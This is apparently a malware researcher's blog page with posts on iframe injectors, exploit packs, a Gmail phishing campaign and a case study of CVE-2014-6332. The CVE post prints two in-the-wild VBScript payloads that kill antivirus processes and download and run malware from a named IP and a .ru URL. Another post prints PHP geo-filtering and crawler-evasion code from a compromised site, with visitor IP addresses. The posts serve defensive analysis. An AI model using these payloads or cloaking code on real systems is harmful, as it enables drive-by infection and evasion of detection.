Showing posts with label Malware. Show all posts
Showing posts with label Malware. Show all posts

Sunday, May 14, 2017

[Virus Bulletin Conference] The TAO of Automated Iframe Injectors - Building Drive-by Platforms For Fun and Profit



In this paper, we present the design of distributed infection model used by attackers to inject malicious iframes on the fly to conduct large scale drive-by download attacks. We use the term “Iframe Injectors” which refers to the automated tools used by attackers to trigger mass infections. The Iframe Injectors can either be standalone tools or embedded components as a part of the botnets. We discuss the classification of Iframe Injectors and dissect a number of existing tools to understand their functionalities and how they are deployed effectively.


Iframes are inline frames, which are HTML objects that are embedded in a web page to fetch content (HTML or JavaScript) from a third-party domain. The content is treated as a part of the primary web page and is served when that web page is accessed. This is a known HTML functionality and is heavily used for content sharing among multiple domains. However, attackers abuse this functionality in multiple variants of drive-by download attacks as a part of massive iframe infection campaigns. An attack starts with a malicious domain that hosts malware. The attackers then embed a URL referencing the malware in an iframe and place that in a compromised website (or any other self-managed website). Users are then coerced into visiting the web page that has the iframe embedded in it. When the user visits the page, the malware is fetched from the malicious domain and the end-user system is infected.


For complete details, the paper is available here: https://www.virusbulletin.com/virusbulletin/2016/10/tao-automated-iframe-injectors-building-driveby-platforms-fun-and-profit/

PDF is available here: https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Sood-Bansal.pdf


Saturday, March 14, 2015

A Real World Story of CVE-2014-6332 : RCE and Malware Download via VBScript !

Recently, we have observed in our analysis that the exploit code for vulnerability with identifier CVE-2014-6332 is either directly embedded in the webpages of the infected website or used as a part of  Browser Exploits Packs (BEPs) for downloading malware and executing commands remotely.

Earlier, we have discussed about how Chinese domains served almost the similar exploits taken from MetaSploit (http://secniche.blogspot.com/2013/03/malware-retrospective-infected-chinese.html) to trigger infections. However, the attackers tweak the structure of exploits as per the requirements in order to conduct successful infections on the fly through compromised websites.

Let's discuss the vulnerability in question. From Internet: "CVE-2014-6332: OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka "Windows OLE Automation Array Remote Code Execution Vulnerability."

Refer: Metasploit Module (http://downloads.securityfocus.com/vulnerabilities/exploits/70952.rb) and Microsoft advisory on the subject (https://technet.microsoft.com/en-us/library/security/ms14-064.aspx)

Trend Micro has some discussed about this vulnerability (http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/) so we do now want to discuss that in detail.

Two variants of VBScript have been found that are used in conjunction with this vulnerability which are discussed below. The primary structure of the exploit remains the same but payload is solely based on the VBScript code embedded in the webpages or BEPs.

As you can see, "cmd.exe" is triggered with options "/q, /c" which forces the Windows to execute command without echoing the output which means commands are executed without any notifications in the Windows GUI. Other insights:

The Norton "360.exe" process is killed and several other commands are executed.

 <script language="VBScript">  
 function runmumaa()   
 On Error Resume Next  
 set shell=createobject("wscript.shell")  
 shell.run "cmd.exe /q /c net user admin /del",0  
 shell.run "cmd.exe /q /c sc stop sharedaccess",0  
 shell.run "cmd.exe /q /c md C:\RECYCLER",0  
 shell.run "cmd.exe /q /c taskkill /f /im 360rp.exe",0  
 shell.run "cmd.exe /q /c taskkill /f /im 360sd.exe",0  
 shell.run "cmd.exe /q /c taskkill /f /im 360tray.exe",0  
 shell.run "cmd.exe /q /c taskkill /f /im arp2.exe",0  
 shell.run "cmd.exe /q /c taskkill /f /im 360.exe",0  
 shell.run "cmd.exe /q /c taskkill /f /im 361.exe",0  
 shell.run "cmd.exe /q /c ping 127.0.0.1 -n 200&taskkill /f /im fp.exe&taskkill /f /im ftp.exe&taskkill /f /im arp1.exe&taskkill /f /im arp2.exe&taskkill /f /im fa1.exe&taskkill /f /im fa2.exe&taskkill /f /im fa.exe",0  
 shell.run "cmd.exe /q /c del C:\docume~1\alluse~1\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯\360.exe",0  
 shell.run "cmd.exe /q /c del C:\docume~1\alluse~1\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯\361.exe",0  
 shell.run "cmd.exe /q /c del C:\RECYCLER\360.exe",0  
 shell.run "cmd.exe /q /c del C:\RECYCLER\361.exe",0  
 shell.run "cmd.exe /q /c copy c:\windows\system32\ftp.exe C:\RECYCLER\fp.exe",0  
 shell.run "cmd.exe /q /c copy c:\windows\system32\ftp.exe c:\windows\system32\fp.exe",0  
 shell.run "cmd.exe /q /c copy %systemroot%\system32\ftp.exe %systemroot%\system32\fp.exe",0  
 shell.run "cmd.exe /q /c echo open 104.152.215.90>C:\RECYCLER\fp.dw&echo do1>>C:\RECYCLER\fp.dw&echo 123456>>C:\RECYCLER\fp.dw&echo bin >>C:\RECYCLER\fp.dw&echo get a1.exe C:\RECYCLER\a1.exe>>C:\RECYCLER\fp.dw&echo get arp2.exe C:\RECYCLER\arp2.exe>>C:\RECYCLER\fp.dw&echo get fa2.exe C:\RECYCLER\fa2.exe>>C:\RECYCLER\fp.dw&echo get cgud.exe C:\RECYCLER\cgud.exe>>C:\RECYCLER\fp.dw&echo bye >>C:\RECYCLER\fp.dw&ping 127.0.0.1 -n 10&FP -s:C:\RECYCLER\fp.dw&del C:\RECYCLER\fp.dw /q&copy C:\RECYCLER\fa2.exe C:\docume~1\alluse~1\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯\fa2.exe&copy C:\RECYCLER\arp2.exe C:\docume~1\alluse~1\¡¸¿ªÊ¼¡¹²Ëµ¥\³ÌÐò\Æô¶¯\arp2.exe&start C:\RECYCLER\fa2.exe&start C:\RECYCLER\a1.exe&start C:\RECYCLER\cgud.exe&C:\RECYCLER\arp2.exe&del C:\RECYCLER\fp.exe",0  
 end function  
 </script>  

Another variant of exploit payload is shown below which highlights that how exactly HTTP requests are issued using AJAX and MSXML2 for downloading malware (http://natmasla.ru/ath/sploit/natmasla.exe, this link might be active) directly. VBScript calls are then used to execute the  malware.

 

<script language="VBScript">  
 function runmumaa()   
 On Error Resume Next  
 set shell=createobject("Shell.Application")  
 shell.ShellExecute "cmd.exe", "/c CD %TEMP%&
@echo 
Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>wUnlRLZR.vbs&
@echo objXMLHTTP.open ""GET"",""http://natmasla.ru/ath/sploit/natmasla.exe"",false>>wUnlRLZR.vbs&
@echo 
objXMLHTTP.send()>>wUnlRLZR.vbs&
@echo If objXMLHTTP.Status=200 Then>>wUnlRLZR.vbs&
@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>wUnlRLZR.vbs&
@echo objADOStream.Open>>wUnlRLZR.vbs&
@echo objADOStream.Type=1 >>wUnlRLZR.vbs&
@echo objADOStream.Write objXMLHTTP.ResponseBody>>wUnlRLZR.vbs&
@echo objADOStream.Position=0 >>wUnlRLZR.vbs&
@echo objADOStream.SaveToFile ""%TEMP%\natmasla.exe"">>wUnlRLZR.vbs&
@echo objADOStream.Close>>wUnlRLZR.vbs&
@echo Set objADOStream=Nothing>>wUnlRLZR.vbs&
@echo End if>>wUnlRLZR.vbs&
@echo Set objXMLHTTP=Nothing>>wUnlRLZR.vbs&
@echo Set objShell=CreateObject(""WScript.Shell"")>>wUnlRLZR.vbs&
@echo objShell.Exec(""%TEMP%\natmasla.exe"")>>wUnlRLZR.vbs&cscript.exe %TEMP%\wUnlRLZR.vbs&del %TEMP%\wUnlRLZR.vbs", "", "open", 0  
 end function  
 </script>  

Public available exploits can be tweaked easily as discussed in the case study above. It is really interesting to analyze the types of payloads and exploits used in the wild for exploiting vulnerabilities in the browsers.

Inference: Openly available exploits are restructured by the attackers and used in BEPs to trigger infections.

Sunday, February 22, 2015

A Case Study of Geo-location Filtering and Dedicated Malware Infections !

It is a wide-known fact that the majority of infectious code (iframe redirecting to browser exploit packs) is hosted on free domains or compromised websites that are sold in the underground community. In my earlier presentation at Virus Bulletin Conference (HERE), I discussed about the IP Address Logging Detection Trick (IPLDT) which basically allows the attackers to restrict the spreading of malware to a dedicated audience on the Internet. For more about BEPs, read the previous research papers:


A simple work flow is discussed below:
  • User visits the website serving infectious code.
  • Infected website triggers the custom code hosted by attacker to check for the following:
    • Geo-location of the IP address: If Geo-location of the IP address of the end-user is found to be mapped to specific locations in the configuration file, the user's browser is redirected to BEP for exploitation.
    • Verifying whether the exploit-code has been served to this IP or not: If the database shows that IP has been served already, IP address of the end-user is filtered and BEP URL is not served. 
  • When the user browser lands on the BEP URL, a specific vulnerability in the browser (built-in components or plug-ins) is exploited to download malware.
In addition, filters are also added for various automated spiders to restrict the access to bots (spiders) to prevent the appearance of malicious website or links in the search results. Recently, I was analyzing a malicious website that was serving infectious code and redirects the user's browser to BEP to download malware by exploiting specific vulnerability. However, the name of the exploit kit is not  known. This analysis is more concentrated on the compromised website that performs redirection of the user's browser to the BEP.

A code snippet extracted from the infected webite is presented below. It clearly shows that the user-agent  and  IP Geo-location("CH" = Switzerland, "DE" = Germany) components are used for setting filters on the incoming HTTP traffic. Additionally, two files are generated for building databases for the IP addresses that are either successful (sbase.txt) or unsuccessful (sbase_bad.txt) in getting the direct link of the BEP URL from the infected website.

 <?php  
 error_reporting(0); ini_set('display_errors',0);  
 function is_bot($myuagent, $myip) {  
      $uagents = file('uagents.txt',FILE_IGNORE_NEW_LINES);  
      $ips = file('ips.txt',FILE_IGNORE_NEW_LINES);  
      foreach ($uagents as $exp) {  
           if (preg_match('/'.$exp.'/i',$myuagent)) {  
                return true;  
           }  
      }  
      foreach ($ips as $exp) {  
           if (preg_match('/'.$exp.'/',$myip)) {  
                return true;  
           }  
      }  
      return false;  
 }  
   $countries = "CH;DE";  
   // no?aie?ea n nieiaoii  
   $good_link = "./banner.php";  
   // eaaay no?aie?ea  
   $bad_link = "./blabla.php";  
   //  
   $ip = $_SERVER['REMOTE_ADDR'];  
   $ua = $_SERVER['HTTP_USER_AGENT'];  
   $file = fopen("./sbase.txt","a+");  
   $file2 = fopen("./sbase_bad.txt","a+");  
   $already_showed = FALSE;  
   while (!feof($file)) {  
     $buffer = fgets($file);  
     $ip2 = $ip."\r\n";  
     if(strcmp($buffer,$ip2)==0) $already_showed = TRUE;  
   }  
   if (is_bot($_REQUEST['useragent'], $ip)) $already_showed = TRUE;  
   if($already_showed) {  
     include($bad_link);  
   } else {  
     require_once('./geoip/geoip.inc');  
     $gi = geoip_open("./geoip/GeoIP.dat",GEOIP_STANDARD);  
     $ccode = explode(";",$countries);  
     $show = FALSE;  
     foreach($ccode as $value) {  
       if(geoip_country_code_by_addr($gi,$ip) == $value && preg_match('/(msie|opera|firef)/i', $ua)) {  
         $show = TRUE;  
         fwrite($file,$ip."\r\n");  
       }  
     }  
     geoip_close($gi);  
     if($show) {  
       include($good_link);  
     } else {  
          fwrite($file2,$ip."|".$ua."\r\n");  
       include($bad_link);  
     }  
   }  
   fclose($file);  
 ?>  

On checking the stats of the two files, following stats were gathered:
  • Approximately 5881 unique IP addresses (users' browsers) were successfully redirected to the BEP.
  • Approximately 15737 unique IP addresses (users' browsers)  were restricted from visiting to the BEP.
The list of banned user-agents are shown below:

 Ask\s*Jeeves  
 HP\s*Web\s*PrintSmart  
 HTTrack  
 IDBot  
 Indy\s*Library#  
 ListChecker  
 MSIECrawler  
 NetCache  
 Nutch  
 RPT-HTTPClient  
 rulinki\.ru  
 Twiceler  
 WebAlta  
 Webster\s*Pro  
 www\.cys\.ru  
 Wysigot  
 Yahoo!\s*Slurp  
 Yeti  
 Accoona  
 CazoodleBot  
 CFNetwork  
 ConveraCrawlerDISCo  
 Download\s*Master  
 FAST\s*MetaWeb\s*Crawler  
 Flexum\s*spider  
 Gigabot  
 HTMLParser  
 ia_archiver  
 ichiro  
 IRLbot  
 Java  
 km\.ru\s*bot  
 kmSearchBot  
 libwww-perl  
 Lupa\.ru  
 LWP::Simple  
 lwp-trivial  
 Missigua  
 MJ12bot  
 msnbot  
 msnbot-media  
 Offline\s*Explorer  
 OmniExplorer_Bot  
 PEAR  
 psbot  
 Python  
 rulinki\.ru  
 SMILE  
 Speedy  
 Teleport\s*Pro  
 TurtleScanner  
 User-Agent  
 voyager  
 Webalta  
 WebCopier  
 WebData  
 WebZIP  
 Wget  
 Yandex  
 Yanga  
 Yeti  
 msnbot  
 spider  
 yahoo  
 jeeves  
 google  
 altavista  
 scooter  
 av\s*fetch  
 asterias  
 spiderthread revision  
 sqworm  
 ask  
 lycos.spider  
 infoseek sidewinder  
 ultraseek  
 polybot  
 webcrawler  
 robozill  
 gulliver  
 architextspider  
 yahoo!\s*slurp  
 charlotte  
 ngb  

A number of IP addresses with respective user-agent strings are presented below that were not allowed to load BEP URL in the browser for exploitation.

 77.120.162.20|Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16  
 77.56.219.66|Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko  
 194.124.140.39|Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  
 41.249.252.199|Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  
 213.14.101.210|Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36  
 46.126.65.93|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
 194.179.92.135|Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0  
 213.14.101.210|Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36  
 93.199.31.78|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; tb-webde/2.6.0; rv:11.0) like Gecko  
 77.56.219.66|Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko  
 188.63.105.11|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
 77.56.219.66|Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko  
 84.253.30.110|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
 194.179.92.135|Mozilla/4.0 (compatible;)  
 189.19.165.228|Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36  
 66.102.6.183|Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.68 Safari/537.36  
 66.249.93.223|Mozilla/5.0 (en-us) AppleWebKit/534.14 (KHTML, like Gecko; Google Wireless Transcoder) Chrome/9.0.597 Safari/534.14  
 81.62.35.97|Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko  
 195.78.246.18|Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36  

Inference: BEPs extensively use IPLDT to manage the infections and make the malicious code to be served to dedicated countries.

Sunday, February 8, 2015

Virus Bulletin Paper - Prosecting the Citadel botnet !

Virus Bulletin published earlier our research on Citadel. Check the links:

 Full PDF paper : https://www.virusbtn.com/pdf/magazine/2014/vb201409-Citadel.pdf

Thursday, February 27, 2014

Gmail Phishing Attack - Why the Anti-spam Solutions Fail to Trigger ?

Update: 5th March, 2014

Note: I am concerned because it got delivered to my personal gmail inbox -:)

It looks like the phishing attack discussed earlier (a week ago) on gmail users is still underway. Although, the attack is public now, the endpoint security solutions deployed by Google still fails to mark the emails as phished. The latest snapshot of this attack is presented below:

Links: 
  • hxxp://croydon.com.br/phpthumb/serv/serv/Login.htm 
  • hxxp://croydon.com.br/phpthumb/serv/serv/badu.php






It is not a reliable way to depend heavily on safe-browsing all the time for blacklisting the phishing websites rather the prevention has to be triggered at the time of origin. Let's see how long this continues. 

-------------------------------

A recent targeted phishing attack has been launched against gmail.com users. Interestingly, the email slipped through Google end point security solution which fails to detect the spam email and served it properly to the user's inbox.


Visiting the link results in the following webpage showing the same layout as of Gmail. 


Malicious Check: 

Overall, basic steps:
  1. The user is redirected and served with a gmail.com webpage here: hxxp://www.nusurgix.com/virtusite/phpthumb/serv/Login.htm
  2. The form submission sends all the POST data to: hxxp://www.nusurgix.com/virtusite/phpthumb/serv/badu.php
  3. The user redirects successfully to legitimate gmail.com webpage: hxxps://accounts.google.com/

The website is hosted on a CMS hosting server as shown below:


Overall, it might not be that sophisticated attack, but a few inferences:
  • Smart user would have detected that this is a trick even it is delivered to inbox.
  • Big issue, the anti-spam solutions in Google's network fails to detect it and mark it as phished. 
  • There might be a possibility that a few users would have fallen to this trick but we cannot be sure.
  • The attacker used a compromised network infrastructure to execute this attack. A healthcare provider hosting account is compromised.
  • This type of attack if remains active for only few minutes could have already garnered a good set of accounts.
Do not fall for this trap !

Sunday, January 12, 2014

Virus Bulletin - NiFramer Iframer Injector - CPanel

A couple of months earlier, we released a paper on the design of NiFramer, a bash tool to automate the Iframe injections on the compromised servers. It has been used widely by attackers. However, in coming time, we will be covering different variants of automated Iframe injection tools.



You can download the paper at: http://secniche.org/released/VB_CPANEL_IFRAME_INJECT.pdf

Tuesday, November 5, 2013

Virus Bulletin : Analysis of Styx Exploit Pack

We released a paper in Virus Bulletin Magazine on the design analysis of Styx exploit pack.

" In this paper, we discuss the details and design of the Styx exploit pack. According to the dictionary, Styx is a river in the underworld, over which Charon ferried the souls of the dead. According to the Styx service provider website, ‘Styx is a river in Greek mythology that formed the boundary between earth and the underworld... It circles the underworld nine times.’ So it seems that the origin of the name is as rigorous as the exploit pack itself."

Download the paper from here: http://secniche.org/released/VB_Styx_Exploit_Pack.pdf